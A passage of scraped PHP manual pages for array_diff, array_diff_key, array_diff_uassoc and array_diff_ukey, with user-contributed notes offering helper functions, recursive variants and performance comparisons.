    // yields: array("b","c") the duplicate "a" values are removed
?>
benjamin at moonfactory dot co dot jp 12-Jan-2005 06:56
Hi all,
For php versions < 4.3...

<?php
/**
 * array_diff_assoc for version < 4.3
 **/
if (!function_exists('array_diff_assoc'))
{
    function array_diff_assoc($a1, $a2)
    {
        foreach($a1 as $key => $value)
        {
            if(isset($a2[$key]))
            {
                if((string) $value !== (string) $a2[$key])
                {
                     $r[$key] = $value;
                }
            }else
            {
                $r[$key] = $value;
            }
        }
        return $r ;
    }
}

?>
carl at thep dot lu dot se 09-May-2003 11:55
To unset elements in an array if you know the keys but not the values, you can do:

<?php
$a = array("foo", "bar", "baz", "quux");
$b = array(1, 3); // Elements to get rid of

foreach($b as $e)
  unset($a[$e]);
?>

Of course this makes most sense if $b has many elements or is dynamically generated.


Computes the difference of arrays using keys for comparison

  • « array_diff_assoc
  • array_diff_uassoc »
  • PHP Manual
  • Array Functions
  • Computes the difference of arrays using keys for comparison

array_diff_key

(PHP 5 >= 5.1.0)

array_diff_key — Computes the difference of arrays using keys for comparison

Description

array array_diff_key ( array $array1 , array $array2 [, array $... ] )

Compares the keys from array1 against the keys from array2 and returns the difference. This function is like array_diff() except the comparison is done on the keys instead of the values.

Parameters

array1

The array to compare from

array2

An array to compare against

...

More arrays to compare against

Return Values

Returns an array containing all the entries from array1 whose keys are not present in any of the other arrays.

Examples

Example #1 array_diff_key() example

The two keys from the key => value pairs are considered equal only if (string) $key1 === (string) $key2 . In other words a strict type check is executed so the string representation must be the same.

<?php
$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

var_dump(array_diff_key($array1, $array2));
?>

The above example will output:

array(2) {
  ["red"]=>
  int(2)
  ["purple"]=>
  int(4)
}

Notes

Note:

This function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using array_diff_key($array1[0], $array2[0]);.

See Also

  • array_diff() - Computes the difference of arrays
  • array_udiff() - Computes the difference of arrays by using a callback function for data comparison
  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_diff_uassoc() - Computes the difference of arrays with additional index check which is performed by a user supplied callback function
  • array_udiff_assoc() - Computes the difference of arrays with additional index check, compares data by a callback function
  • array_udiff_uassoc() - Computes the difference of arrays with additional index check, compares data and indexes by a callback function
  • array_diff_ukey() - Computes the difference of arrays using a callback function on the keys for comparison
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_intersect_uassoc() - Computes the intersection of arrays with additional index check, compares indexes by a callback function
  • array_intersect_key() - Computes the intersection of arrays using keys for comparison
  • array_intersect_ukey() - Computes the intersection of arrays using a callback function on the keys for comparison

User Contributed Notes

rhallsey at yahoo dot com 13-Sep-2014 09:45
Here's a simple function that returns true if all keys in the first array are found in the second array, and false if they aren't.

function same_keys ($a1, $a2) {
    $same = false;
    if (!array_diff_key($a1, $a2)) {
        $same = true;
        foreach ($a1 as $k => $v) {
            if (is_array($v) && !same_keys($v, $a2[$k])) {
                $same = false;
                break;
            }
        }
    }
    return $same;
}

To check if two arrays have the same structure, ignoring values, execute the function twice, the second time with the arguments reversed.
gk at anuary dot com 30-Jun-2013 12:40
Improved recursive version.

<?php
/**
 * @author Gajus Kuizinas <gk@anuary.com>
 * @version 1.0.0 (2013 03 19)
 */
function array_diff_key_recursive (array $arr1, array $arr2) {
    $diff = array_diff_key($arr1, $arr2);
    $intersect = array_intersect_key($arr1, $arr2);

    foreach ($intersect as $k => $v) {
        if (is_array($arr1[$k]) && is_array($arr2[$k])) {
            $d = array_diff_key_recursive($arr1[$k], $arr2[$k]);

            if ($d) {
                $diff[$k] = $d;
            }
        }
    }

    return $diff;
}
?>

An up to date version is maintained at https://github.com/gajus/flow/blob/master/flow.inc.php#L337.
division-par-zero at zilon dot net 03-Oct-2008 04:02
you can use this function for return the difference of two array !

<?php
function array_unique_diff_key ($array1, $array2)
{
  if (is_array($array1) && is_array($array2))
    return array_diff_key($array1, $array2) + array_diff_key($array2, $array1);
  else if (is_array($array1)) return $array1;
  else if (is_array($array2)) return $array2;
  else return array();
}
?>
Ashton 02-Apr-2008 10:33
To return the unique elements (those with a key that exists only once in either array but not in both) try:
function array_unique_diff ($array1, $array2)
{
  array_merge(array_diff_key($array1, $array2), array_diff_key($array2, $array1));
}

Example:
$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

  array_diff_key($array1, $array2)

returns

  array ( 'red' => 2, 'purple' => 4 )

  array_diff_key($array2, $array1)

returns

  array ( 'yellow' => 7, 'cyan' => 8, )

  array_unique_diff($array1, $array2);

returns

  array ( 'red' => 2, 'purple' => 4, 'yellow' => 7, 'cyan' => 8, )
sjungwirth at matrix-consultants dot com 28-Feb-2008 09:08
I needed something a little different where maybe even the keys in multidimensional arrays don't match up. Setting $assoc to false will cause only to check for missing keys, otherwise it compares values as well. This was also based on '2ge at 2ge dot us' function

<?php

function n_array_diff_assoc ($a1, $a2, $assoc=true) {
    $r = array();
    if(is_array(current($a1))):
        foreach($a1 as $k => $v):
            if(isset($a2[$k])):
                $diff = n_array_diff($a1[$k], $a2[$k], $assoc);
                if (!empty($diff)):
                    $r[$k] = $diff;
                endif;
            else:
                $r[$k] = $v;
            endif;
        endforeach;
    else:
        $r = $assoc ? array_diff_assoc($a1, $a2) : array_diff_key($a1, $a2);
    endif;
    return $r;
}
?>
coder at gs dot com 16-Feb-2008 11:00
The PHP4 version below works only unidirectionally. If you switch the arrays around i.e. (ar2, ar1) you get different results than (ar1, ar2).
AiFiLTr0 [at host] invyl [dot] ath.cx 29-Nov-2007 02:56
The recursive function suggested by '2ge at 2ge dot us' will provide you with empty arrays if there's no diff.
This variant of the function cleans up empty arrays and fixes a bug in the first suggested version. It works 100%
.
<?php
function array_diff_key_recursive ($a1, $a2) {
        foreach($a1 as $k => $v) {
            //$r[$k] = is_array($v) ? $this->array_diff_key_recursive($a1[$k], $a2[$k]) : array_diff_key($a1, $a2);
        if (is_array($v))
            {
            $r[$k]=$this->array_diff_key_recursive($a1[$k], $a2[$k]);
            }else
            {
            $r=array_diff_key($a1, $a2);
            }

        if (is_array($r[$k]) && count($r[$k])==0)
            {
            unset($r[$k]);
            }
        }
        return $r;
    }
?>
2ge at 2ge dot us 07-Mar-2006 08:28
Hello, if you need diff key of n-dimensional arrays here is nice solution:
<?php
function n_array_diff ($a1, $a2) {
        foreach($a1 as $k => $v) {
            $r[$k] = is_array($v) ? n_array_diff($a1[$k], $a2[$k]) : array_diff_key($a1, $a2);
        }
        return $r;
}
?>
it will print everything, what is missing in $a2.
vlad_mustafin at ukr dot net 13-Jan-2006 04:39
One more alternative variant :)
<?
if (!function_exists('array_diff_key')) {
    function array_diff_key() {
        $argCount   = func_num_args();
        $diff_arg_prefix = 'diffArg';
        $diff_arg_names = array();
        for ($i=0; $i < $argCount; $i++) {
            $diff_arg_names[$i] = 'diffArg'.$i;
            $$diff_arg_names[$i] = array_keys((array)func_get_arg($i));
        }
        $diffArrString = '';
        if (!empty($diff_arg_names)) $diffArrString =  '$'.implode(', $', $diff_arg_names);
        eval("\$result = array_diff(".$diffArrString.");");
        return $result;
    }
}
?>
ampf at egp dot up dot pt 25-Nov-2005 09:55
Well, you could implement in the code something more powerfull:

http://www.php.net/manual/en/function.array-diff.php#31364
maxence at pontapreta dot net 27-May-2005 07:38
Seems to be a great function, especially for n-dimensions arrays. The only problem is that I cannot find it in php 5.0.3 and 5.0.4. Does it really exist ?! :(

[20:27:05][maxence@conurb] ~/test2/php-5.0.4$ grep PHP_FUNCTION * -r | grep -i array_diff_key
[20:27:09][maxence@conurb] ~/test2/php-5.0.4$


Computes the difference of arrays with additional index check which is performed by a user supplied callback function

  • « array_diff_key
  • array_diff_ukey »
  • PHP Manual
  • Array Functions
  • Computes the difference of arrays with additional index check which is performed by a user supplied callback function

array_diff_uassoc

(PHP 5)

array_diff_uassoc — Computes the difference of arrays with additional index check which is performed by a user supplied callback function

Description

array array_diff_uassoc ( array $array1 , array $array2 [, array $... ], callable $key_compare_func )

Compares array1 against array2 and returns the difference. Unlike array_diff() the array keys are used in the comparison.

Unlike array_diff_assoc() an user supplied callback function is used for the indices comparison, not internal function.

Parameters

array1

The array to compare from

array2

An array to compare against

...

More arrays to compare against

key_compare_func

The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

int callback ( mixed $a, mixed $b )

Return Values

Returns an array containing all the entries from array1 that are not present in any of the other arrays.

Examples

Example #1 array_diff_uassoc() example

The "a" => "green" pair is present in both arrays and thus it is not in the output from the function. Unlike this, the pair 0 => "red" is in the output because in the second argument "red" has key which is 1.

<?php
function key_compare_func($a, $b)
{
    if ($a === $b) {
        return 0;
    }
    return ($a > $b)? 1:-1;
}

$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "yellow", "red");
$result = array_diff_uassoc($array1, $array2, "key_compare_func");
print_r($result);
?>

The above example will output:

Array
(
    [b] => brown
    [c] => blue
    [0] => red
)

The equality of 2 indices is checked by the user supplied callback function.

Notes

Note:

This function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using, for example, array_diff_uassoc($array1[0], $array2[0], "key_compare_func");.

See Also

  • array_diff() - Computes the difference of arrays
  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_udiff() - Computes the difference of arrays by using a callback function for data comparison
  • array_udiff_assoc() - Computes the difference of arrays with additional index check, compares data by a callback function
  • array_udiff_uassoc() - Computes the difference of arrays with additional index check, compares data and indexes by a callback function
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_uintersect() - Computes the intersection of arrays, compares data by a callback function
  • array_uintersect_assoc() - Computes the intersection of arrays with additional index check, compares data by a callback function
  • array_uintersect_uassoc() - Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions

User Contributed Notes

MD. ABU SAYEM 11-Mar-2014 03:12
//array_diff_uassoc for multidimenssional array
$color_1=array('a'=>'white','b'=>'red','c'=>array('a'=>'green','b'=>'blue','c'=>'yellow'));
$color_2=array('a'=>'white','b'=>'red','c'=>array('a'=>'white','b'=>'red','c'=>'yellow'));

function key_compare($a,$b){
    if($a===$b)        return 0;
    return($a>$b)?1:-1;
}
print_r(array_diff_uassoc($color_1['c'], $color_2['c'],"key_compare"));

//Output
 Array
(
    [a] => green
    [b] => blue
)


Computes the difference of arrays using a callback function on the keys for comparison

  • « array_diff_uassoc
  • array_diff »
  • PHP Manual
  • Array Functions
  • Computes the difference of arrays using a callback function on the keys for comparison

array_diff_ukey

(PHP 5 >= 5.1.0)

array_diff_ukey — Computes the difference of arrays using a callback function on the keys for comparison

Description

array array_diff_ukey ( array $array1 , array $array2 [, array $... ], callable $key_compare_func )

Compares the keys from array1 against the keys from array2 and returns the difference. This function is like array_diff() except the comparison is done on the keys instead of the values.

Unlike array_diff_key() a user supplied callback function is used for the indices comparison, not internal function.

Parameters

array1

The array to compare from

array2

An array to compare against

...

More arrays to compare against

key_compare_func

The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

int callback ( mixed $a, mixed $b )

Return Values

Returns an array containing all the entries from array1 that are not present in any of the other arrays.

Examples

Example #1 array_diff_ukey() example

<?php
function key_compare_func($key1, $key2)
{
    if ($key1 == $key2)
        return 0;
    else if ($key1 > $key2)
        return 1;
    else
        return -1;
}

$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

var_dump(array_diff_ukey($array1, $array2, 'key_compare_func'));
?>

The above example will output:

array(2) {
  ["red"]=>
  int(2)
  ["purple"]=>
  int(4)
}

Notes

Note:

This function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using array_diff_ukey($array1[0], $array2[0], 'callback_func');.

See Also

  • array_diff() - Computes the difference of arrays
  • array_udiff() - Computes the difference of arrays by using a callback function for data comparison
  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_diff_uassoc() - Computes the difference of arrays with additional index check which is performed by a user supplied callback function
  • array_udiff_assoc() - Computes the difference of arrays with additional index check, compares data by a callback function
  • array_udiff_uassoc() - Computes the difference of arrays with additional index check, compares data and indexes by a callback function
  • array_diff_key() - Computes the difference of arrays using keys for comparison
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_intersect_uassoc() - Computes the intersection of arrays with additional index check, compares indexes by a callback function
  • array_intersect_key() - Computes the intersection of arrays using keys for comparison
  • array_intersect_ukey() - Computes the intersection of arrays using a callback function on the keys for comparison

User Contributed Notes

There are no user contributed notes for this page.


Computes the difference of arrays

  • « array_diff_ukey
  • array_fill_keys »
  • PHP Manual
  • Array Functions
  • Computes the difference of arrays

array_diff

(PHP 4 >= 4.0.1, PHP 5)

array_diff — Computes the difference of arrays

Description

array array_diff ( array $array1 , array $array2 [, array $... ] )

Compares array1 against one or more other arrays and returns the values in array1 that are not present in any of the other arrays.

Parameters

array1

The array to compare from

array2

An array to compare against

...

More arrays to compare against

Return Values

Returns an array containing all the entries from array1 that are not present in any of the other arrays.

Examples

Example #1 array_diff() example

<?php
$array1 = array("a" => "green", "red", "blue", "red");
$array2 = array("b" => "green", "yellow", "red");
$result = array_diff($array1, $array2);

print_r($result);
?>

Multiple occurrences in $array1 are all treated the same way. This will output :

Array
(
    [1] => blue
)

Notes

Note:

Two elements are considered equal if and only if (string) $elem1 === (string) $elem2. In words: when the string representation is the same.

Note:

This function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using array_diff($array1[0], $array2[0]);.

See Also

  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check

User Contributed Notes

vickyssj7 at gmail dot com 19-Oct-2014 06:12
This is quite a simple example to compute the difference between array values without any recursive function:--
<?php

    function array_idiff($a,$b) {

        $store = array();
        foreach($a as $key => $values) {
            if(!isset($b[$key]) || $b[$key] !== $values){

                $store[] = strtolower($values);

            }
        }
        return $store;
    }
    $arr1 = array('this','that','those','they','them');
    $arr2 = array('this','that','them');
    echo "<pre>";
    print_r(array_idiff($arr1,$arr2));
MD dot ABU SAYEM=>sayem at asterisbd dot com 11-Mar-2014 11:21
//array_diff function compare first array against all of the array and return the elements with index that are not present in either of the array.
<?php
$array1 = array("a" => "green", "red", "c"=>"blue", "red","cyan",2,3,"white");
$array2 = array("b" => "green", "yellow", "red");
$array3 = array("b" => "green", "yellow", "white",4);
$array4 = array("b" => "green", "yellow", "blue",2);
$result = array_diff($array1, $array2,$array3,$array4);
echo "<pre>";
print_r($result);
?>
//outputs
Array
(
    [3] => cyan
    [5] => 3
)
Anonymous 06-Aug-2013 10:56
Please note that array_diff cannot compare with an undefined array. For example:

<?php
$array1 = array ("ABC", "DEF");

$Result = $array_diff( $array1, $array2);

var_dump($Result);
?>

will output NULL NULL. If your script causes an undefined array (like mine did) it can be hard to find the mistake.

Greetings
Jeppe Utzon 08-Nov-2012 11:28
If you just need to know if two arrays' values are exactly the same (regardless of keys and order), then instead of using array_diff, this is a simple method:

<?php

function identical_values( $arrayA , $arrayB ) {

    sort( $arrayA );
    sort( $arrayB );

    return $arrayA == $arrayB;
}

// Examples:

$array1 = array( "red" , "green" , "blue" );
$array2 = array( "green" , "red" , "blue" );
$array3 = array( "red" , "green" , "blue" , "yellow" );
$array4 = array( "red" , "yellow" , "blue" );
$array5 = array( "x" => "red" , "y" =>  "green" , "z" => "blue" );

identical_values( $array1 , $array2 );  // true
identical_values( $array1 , $array3 );  // false
identical_values( $array1 , $array4 );  // false
identical_values( $array1 , $array5 );  // true

?>

The function returns true only if the two arrays contain the same number of values and each value in one array has an exact duplicate in the other array. Everything else will return false.

my alternative method for evaluating if two arrays contain (all) identical values:

<?php

sort($a); $sort(b); return $a == $b;

?>

may be slightly faster (10-20%) than this array_diff method:

<?php

return ( count( $a ) == count( $b ) && !array_diff( $a , $b ) ? true : false );

?>

but only when the two arrays contain the same number of values and then only in some cases. Otherwise the latter method will be radically faster due to the use of a count() test before the array_diff().

Also, if the two arrays contain a different number of values, then which method is faster will depend on whether both arrays need to be sorted or not. Two times sort() is a bit slower than one time array_diff(), but if one of the arrays have already been sorted, then you only have to sort the other array and this will be almost twice as fast as array_diff().

Basically: 2 x sort() is slower than 1 x array_diff() is slower than 1 x sort().
devel-takethisout-oper dot web at gmail dot com 18-Oct-2012 12:31
Suppose you have a CMS which saves a list of phone numbers for each user. They are stored like this:

$phones['Home'] = '(555)555-1234';
$phones['Office'] = '(555)555-2222';

You only want to save to the database if the list of items has changed. Including if the ORDER of them has changed.

<?php
// Compares two arrays- keys and values (as strings) must match.
// Keys and order must be the same to be equal.
function arraysEqual($arr1, $arr2){
    if(count($arr1) != count($arr2)){
        return(FALSE);
    }else{
        $arrStr1 = serialize($arr1);
        $arrStr2 = serialize($arr2);
        if( strcmp($arrStr1, $arrStr2)==0 ){
            return(TRUE);
        }else{
            return(FALSE);
        }
    }
}
?>
michiel thalen 07-Apr-2012 11:22
The fact that it will use the string representation causes alot of problems with php 5.4.

When you will have an array inside your elements, it will throw a notice error.
It will throw huge amounts of notices depending on how many items you have.

The same problem you will notice when checking with objects inside your array. It will cause catchable fatal errors.
This is also the case in php 5.3

I'm going to send a bug report, because I think php should handle this.
ballestermendez at gmail dot com 16-Mar-2012 08:40
If the element number returned is 0, this function NOT return a valid array, return NULL.
merlyn dot tgz at gmail dot com 15-Mar-2012 07:08
There is more fast implementation of array_diff, but with some limitations. If you need compare two arrays of integers or strings you can use such function:

    public static function arrayDiffEmulation($arrayFrom, $arrayAgainst)
    {
        $arrayAgainst = array_flip($arrayAgainst);

        foreach ($arrayFrom as $key => $value) {
            if(isset($arrayAgainst[$value])) {
                unset($arrayFrom[$key]);
            }
        }

        return $arrayFrom;
    }

It is ~10x faster than array_diff

php > $t = microtime(true);$a = range(0,25000); $b = range(15000,500000); $c = array_diff($a, $b);echo microtime(true) - $t;
4.4335179328918
php > $t = microtime(true);$a = range(0,25000); $b = range(15000,500000); $c = arrayDiffEmulation($a, $b);echo microtime(true) - $t;
0.37219095230103
wladimir camargo 25-Jul-2011 07:23
This is my simple function do compare two arrays. It adds the deleted values from the original array.

<?php
function array_diff_($old_array,$new_array) {
        foreach($new_array as $i=>$l){
                if($old_array[$i] != $l){
                        $r[$i]=$l;
                }
        }

        //adding deleted values
        foreach($old_array as $i=>$l){
                if(!$new_array[$i]){
                        $r[$i]="";
                }
        }
        return $r;
}
?>
eugeny dot yakimovitch at gmail dot com 30-Dec-2010 12:17
Note that array_diff is not equivalent to

<?php
function fullArrayDiff($left, $right)
{
    return array_diff(array_merge($left, $right), array_intersect($left, $right));
}
?>

since it is a set-theoretical complement as in

http://en.wikipedia.org/wiki/Complement_(set_theory)
javierchinapequeno at yahoo dot es 21-Dec-2010 08:21
Hi, I´d like to give a piece of advice to all who need to use this function to compare two arrays that have a great quantity of elements. You should sort both arrays first before comparing, it will work faster.
Thanks
thefrox at gmail dot com 30-Jun-2010 02:28
Multidimensional array_diff

<?php
echo '<pre>';
$bdd['80395']= array('80396','80397','80398','777');
$folder['80395']= array('80396','80397','666','80398','154223');
$folder['80397']= array('34','35','36','45','57');

echo '<hr>';

function multidimensional_array_diff($a1,$a2)
{
  $r = array();

 foreach ($a2 as $key => $second)
 {
      foreach ($a1 as $key => $first)
      {

            if (isset($a2[$key]))
            {
                foreach ($first as $first_value)
                {
                    foreach ($second as $second_value)
                    {
                        if ($first_value == $second_value)
                        {
                            $true = true;
                            break;
                        }
                    }
                    if (!isset($true))
                    {

                        $r[$key][] = $first_value;
                    }
                    unset($true);
                }
            }
            else
            {
                $r[$key] = $first;
            }
      }
 }
  return $r;
}
print_r(single_diff_assoc($folder,$bdd));
?>

RESULT :

Array
(
    [80395] => Array
        (
            [0] => 666
            [1] => 154223
        )

    [80397] => Array
        (
            [0] => 34
            [1] => 35
            [2] => 36
            [3] => 45
            [4] => 57
        )

)
pikiou at somethinggooglerelated dot com 13-Nov-2009 01:24
With previous solutions handling multi-dimensional arrays or objects through serialization, if compared variables contain references at some point, these will be serialized and stand as such after the diff function.
Here is a safer solution :
<?php
function array_diff_no_cast(&$ar1, &$ar2) {
   $diff = Array();
   foreach ($ar1 as $key => $val1) {
      if (array_search($val1, $ar2) === false) {
         $diff[$key] = $val1;
      }
   }
   return $diff;
}
?>

Example:
<?php
$referenced = Array(1,1);
$array1 = Array(&$referenced, Array(2,3));
$array2 = Array(Array(1,1), Array(4,5));
$result = array_diff_no_cast($array1, $array2);

print_r($result);   //Outputs Array(1 => Array(2,3))
//And $referenced stands unchanged (not serialized)
?>
vojtech dot hordejcuk at gmail dot com 03-Nov-2009 04:15
Based on one lad's code, I created following function for creating something like HTML diff. I hope it will be useful.

<?php
private function diff ($old, $new)
{
  $old = preg_replace ('/ +/', ' ', $old);
  $new = preg_replace ('/ +/', ' ', $new);

  $lo = explode ("\n", trim ($old) . "\n");
  $ln = explode ("\n", trim ($new) . "\n");
  $size = max (count ($lo), count ($ln));

  $equ = array_intersect ($lo, $ln);
  $ins = array_diff ($ln, $lo);
  $del = array_diff ($lo, $ln);

  $out = '';

  for ($i = 0; $i < $size; $i++)
  {
    if (isset ($del [$i]))
    {
      $out .= '<p><del>' . $del [$i] . '</del></p>';
    }

    if (isset ($equ [$i]))
    {
      $out .= '<p>' . $equ [$i] . '</p>';
    }

    if (isset ($ins [$i]))
    {
      $out .= '<p><ins>' . $ins [$i] . '</ins></p>';
    }
  }

  return $out;
}
?>
Anonymous 15-Oct-2009 08:55
Hi!
I tried hard to find a solution to a problem I'm going to explain here, and after have read all the array functions and possibilities, I had to create what I think should exist on next PHP releases.

What I needed, it's some kind of Difference, but working with two arrays and modifying them at time, not returning an array as a result with the diference itself.

So, as an example:

A = 1,2,3
B = 2,3,4

should NOT be:

C = 1,4

but:

A = 1
B = 4

so basically, I wanted to delete coincidences on both arrays.

Now, I've some actions to do, and I know wich one I've to do with the values from one array or another.
With the normal DIFF I can't, because if I've an array like C=1,4, I dont know if I've to do the Action_A with 1 or with 4, but I really know that everything in A, will go to the Action_A and everithing in B, will go to Action_B. So same happens with 4, don't know wich action to apply...

So I created this:

<?php
function array_diff_ORG_NEW(&$org, &$new, $type='VALUES'){
    switch($type){
        case 'VALUES':
            $int = array_values(array_intersect($org, $new)); //C = A ^ B
            $org = array_values(array_diff($org, $int)); //A' = A - C
            $new= array_values(array_diff($new, $int)); //B' = B - C
            break;
        case 'KEYS':
            $int = array_values(array_intersect_key($org, $new)); //C = A ^ B
            $org = array_values(array_diff_key($org, $int)); //A' = A - C
            $new= array_values(array_diff_key($new, $int)); //B' = B - C
            break;
    }
}
?>

This cute, works by reference, and modifies the arrays deleting coincidences on both, and leaving intact the non coincidences.

So a call to this will be somethin' like:

<?php
$original = array(1,2,3);
$new = array(2,3,4);

array_diff_ORG_NEW($original, $new, 'VALUES');
?>

And HERE, I'll have my arrays as I wanted:

$original = 1
$new = 4

Now, why I use it precisely?

Imagine you've some "Events" and some users you select when create the event, can "see" this event you create. So you "share" the event with some users. Ok?

Imagine you created and Event_A, and shared with users 1,2,3.

Now you want to modify the event, and you decide to modify the users to share it. Imagine you change it to users 2,3,4.

(numbers are users ID).

So you can manage when you are going to modify, to have an array with the IDs in DDBB ($original), and then, have another array with ID's corresponding to the users to share after modifying ($new). Wich ones you've to DELETE from DDBB, and wich ones do you've to INSERT?

If you do a simple difference or somehow, you get somethin' like C=1,4.
You have no clue on wich one you've to insert or delete.

But on this way, you can know it, and that's why:

- What keeps on $original, it's somethin not existing in $new at the beggining. So you know that all what you've inside $original, have to be deleted from DDBB because what you did in the modifying process, it's to unselect those users keeping in $original.
- What keeps on $new, it's something not existing in $original at the beggining. Wich means that in the modifying process you added some new users. And those have to be inserted in DDBB. So, everything keeping inside $new, have to be inserted in the DDBB.

Conclusion:

- Remaining in $original --> delete from DB.
- Remaining in $new --> insert into DB.

And that's all!

I hope you find it useful, and I encourage PHP "makers", to add in a not distant future, somethin' like this one natively, because I'm shure that I'm not the first one needing something like this.

Best regards all,

Light.
firegun at terra dot com dot br 24-Jun-2009 07:52
Hello guys,

I´ve been looking for a array_diff that works with recursive arrays, I´ve tried the ottodenn at gmail dot com function but to my case it doesn´t worked as expected, so I made my own. I´ve haven´t tested this extensively, but I´ll explain my scenario, and this works great at that case :D

We got 2 arrays like these:

<?php
$aArray1['marcie'] = array('banana' => 1, 'orange' => 1, 'pasta' => 1);
$aArray1['kenji'] = array('apple' => 1, 'pie' => 1, 'pasta' => 1);

$aArray2['marcie'] = array('banana' => 1, 'orange' => 1);
?>

As array_diff, this function returns all the items that is in aArray1 and IS NOT at aArray2, so the result we should expect is:

<?php
$aDiff['marcie'] = array('pasta' => 1);
$aDiff['kenji'] = array('apple' => 1, 'pie' => 1, 'pasta' => 1);
?>

Ok, now some comments about this function:
 - Different from the PHP array_diff, this function DON´T uses the === operator, but the ==, so 0 is equal to '0' or false, but this can be changed with no impacts.
 - This function checks the keys of the arrays, array_diff only compares the values.

I realy hopes that this could help some1 as I´ve been helped a lot with some users experiences. (Just please double check if it would work for your case, as I sad I just tested to a scenario like the one I exposed)

<?php
function arrayRecursiveDiff($aArray1, $aArray2) {
    $aReturn = array();

    foreach ($aArray1 as $mKey => $mValue) {
        if (array_key_exists($mKey, $aArray2)) {
            if (is_array($mValue)) {
                $aRecursiveDiff = arrayRecursiveDiff($mValue, $aArray2[$mKey]);
                if (count($aRecursiveDiff)) { $aReturn[$mKey] = $aRecursiveDiff; }
            } else {
                if ($mValue != $aArray2[$mKey]) {
                    $aReturn[$mKey] = $mValue;
                }
            }
        } else {
            $aReturn[$mKey] = $mValue;
        }
    }

    return $aReturn;
}
?>
pyerre 12-Sep-2008 03:20
be careful kids, this function can be tricky
<?php
$tab1=array(0=>"a");
$tab2=array(0=>"a",1=>"b");

print_r(array_diff($tab1,$tab2));
?>
gives
Array
(
)
Tim Trefren 04-Apr-2008 05:05
Here's a little wrapper for array_diff - I found myself needing to iterate through the edited array, and I didn't need to original keys for anything.

<?php
function arrayDiff($array1, $array2){
    # This wrapper for array_diff rekeys the array returned
    $valid_array = array_diff($array1,$array2);

    # reinstantiate $array1 variable
    $array1 = array();

    # loop through the validated array and move elements to $array1
    # this is necessary because the array_diff function returns arrays that retain their original keys
    foreach ($valid_array as $valid){
        $array1[] = $valid;
        }
    return $array1;
    }
?>
merlinyoda at dorproject dot net 28-Mar-2008 07:11
As touched on in kitchin's comment of 19-Jun-2007 03:49 and nilsandre at gmx dot de's comment of 17-Jul-2007 10:45, array_diff's behavior may be counter-intuitive if you aren't thinking in terms of set theory.

array_diff() returns a *mathematical* difference (a.k.a. subtraction) of elements in array A that are in array B and *not* what elements are different between the arrays (i.e. those that elements that are in either A or B but aren't in both A and B).

Drawing one of those Ven diagrams or Euler diagrams may help with visualization...

As far as a function for returning what you may be expecting, here's one:

<?php
function array_xor ($array_a, $array_b) {
    $union_array = array_merge($array_a, $array_b);
    $intersect_array = array_intersect($array_a, $array_b);
    return array_diff($union_array, $intersect_array)
}
?>
asdf at asdf dot com 15-Aug-2007 02:21
Even tough the description of this function's behavior has changed it
does not appear as tough the function's behavior has changed.  Below is some test code and its output:

<?php

    $a = array('1','2','3','4','5');
    $b = array('1','a','b','c','d','e');
    $c = array('2','f','g','h','i','j');

    print_r(array_diff($a, $b, $c));

?>

Array
(
    [2] => 3
    [3] => 4
    [4] => 5
)
nilsandre at gmx dot de 17-Jul-2007 06:45
Again, the function's description is misleading right now. I sought a function, which (mathematically) computes A - B, or, written differently, A \ B. Or, again in other words, suppose

A := {a1, ..., an} and B:= {a1, b1, ... , bm}

=> array_diff(A,B) = {a2, ..., an}

array_diff(A,B) returns all elements from A, which are not elements of B (= A without B).

You should include this in the documentation more precisely, I think.
mr dot kschan at gmail dot com 13-Jul-2007 06:16
just comment ... i don't know whether the following implementation of array_diff is having a much better meaning to the function name.

function ary_diff( $ary_1, $ary_2 ) {
  // compare the value of 2 array
  // get differences that in ary_1 but not in ary_2
  // get difference that in ary_2 but not in ary_1
  // return the unique difference between value of 2 array
  $diff = array();

  // get differences that in ary_1 but not in ary_2
  foreach ( $ary_1 as $v1 ) {
    $flag = 0;
    foreach ( $ary_2 as $v2 ) {
      $flag |= ( $v1 == $v2 );
      if ( $flag ) break;
    }
    if ( !$flag ) array_push( $diff, $v1 );
  }

  // get difference that in ary_2 but not in ary_1
  foreach ( $ary_2 as $v2 ) {
    $flag = 0;
    foreach ( $ary_1 as $v1 ) {
      $flag |= ( $v1 == $v2 );
      if ( $flag ) break;
    }
    if ( !$flag && !in_array( $v2, $diff ) ) array_push( $diff, $v2 );
  }

  return $diff;
}

i think array_diff should return the difference between the array independent of the order of passing the parameter.
kitchin 19-Jun-2007 11:49
Until recently, the description said:
"array_diff() returns an array containing all the values of array1 that are not present in any of the other arguments. Note that keys are preserved."

Now it says:
"Compares array1 against array2 and returns the difference."

Now it's not clear what the optional arguments after the first two do.  Also, the difference is not symmetric in its arguments (that is array_intersect).
gilthans at NOgmailSPAM dot com 13-Jun-2007 07:11
I needed a function to only remove the element the amount of times he appears in the second array. In other words, if you have Array(1, 1, 2) and Array(1), the return value should be Array(1, 2).
So I built this function right here:

<?php
function array_diff_once(){
    if(($args = func_num_args()) < 2)
        return false;
    $arr1 = func_get_arg(0);
